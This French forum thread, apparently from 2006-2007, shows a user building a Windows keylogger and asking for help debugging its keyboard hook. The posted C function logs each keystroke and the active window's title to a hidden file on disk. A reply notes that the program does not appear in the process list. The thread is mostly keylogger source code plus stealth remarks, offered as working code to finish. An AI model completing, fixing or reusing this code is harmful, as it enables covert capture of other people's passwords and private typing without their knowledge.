Hook clavier

deck_bsd Messages postés 1243 Date d'inscription jeudi 31 mars 2005 Statut Membre Dernière intervention 3 août 2016 - 13 sept. 2006 à 15:45
kerneltony95 Messages postés 152 Date d'inscription dimanche 22 janvier 2006 Statut Membre Dernière intervention 26 mars 2007 - 6 févr. 2007 à 14:34
Yop,

Bon dernière question de la journée :p enfin j'espère. Et la je sèche vraiment.

En claire, je fait un keylogger, pour se faire un hook clavier s'impose. Bon il fonction a merveil sauve pour UNE touche :s c'est celle juste à côté du P . En faite lorsque le hook est activer et que je veu taper le caractère [ et bien juste après celui-ci vient se mettre le caratère ^. En claire lorsque je tape [ j'obtient [^ , et ¨ ne fonctionne plus non plus. Et la je voi pas du tout de ou cela peut venir. Voici ma fonction pour l'interception des touche :

void InterceptKey(int code,WPARAM wParam,LPARAM lParam){
    char szCurrentWindow[MAX_PATH];
    FILE * log_file;
   
    log_file = fopen("c:\\KbF.log","a+");
   
    GetWindowText(GetActiveWindow(),szCurrentWindow,MAX_PATH-1);
    if(strcmp(szLastWindow,szCurrentWindow)){
        fprintf(log_file,"\n\n-- new window\n");
        strcpy(szLastWindow,szCurrentWindow);
        fprintf(log_file,szCurrentWindow);
        fprintf(log_file,"\n-- keys \n");
    }
   
    switch(wParam){
        case VK_RETURN:
        fprintf(log_file,"\n");
        break;
    case VK_CONTROL:
        fprintf(log_file,"[CTRL]");
        break;
    case VK_MENU:
        fprintf(log_file,"[ALT]");
        break;
    case VK_DELETE:
        fprintf(log_file,"[DEL]");
        break;
    case VK_BACK:
        fprintf(log_file,"[<==]");
        break;
    case VK_TAB:
        fprintf(log_file,"[TAB]");
        break;
    case VK_SHIFT:
        fclose(log_file);
        return;
        break;
    default:{
        BYTE byKeyBState[256];
       
        GetKeyboardState(byKeyBState);
       
        WORD wChar; /* Varaible qui va recevoir le code Ascii de la touche. */
        UINT uiScanCode = 0;
       
        ToAscii(wParam,uiScanCode,byKeyBState,&wChar,0);
        fprintf(log_file,"%c",(char)wChar);
    }
        break;
  }
  fclose(log_file);
}

J'espère vraiment que quelqu'un peut m'aider ou me donner une autre solution pour intercepter les touches.

Merci d'avance.

4 réponses

deck_bsd Messages postés 1243 Date d'inscription jeudi 31 mars 2005 Statut Membre Dernière intervention 3 août 2016 2
13 sept. 2006 à 17:12
Je vien de m'apercevoir que c'est lorsque l'on presse la touche ALT Gr que cela pose problème, quelqu'un voi une solution ?
0
kerneltony95 Messages postés 152 Date d'inscription dimanche 22 janvier 2006 Statut Membre Dernière intervention 26 mars 2007
6 févr. 2007 à 14:10
ta oublié de declarer szLastWindow

Have Fun !
0
kerneltony95 Messages postés 152 Date d'inscription dimanche 22 janvier 2006 Statut Membre Dernière intervention 26 mars 2007
6 févr. 2007 à 14:33
parcontre je comprendr il s' affiche pas dans les processus
Have Fun !
0
kerneltony95 Messages postés 152 Date d'inscription dimanche 22 janvier 2006 Statut Membre Dernière intervention 26 mars 2007
6 févr. 2007 à 14:34
parcontre je comprend pas il s' affiche pas dans les processus
Have Fun !
0
Rejoignez-nous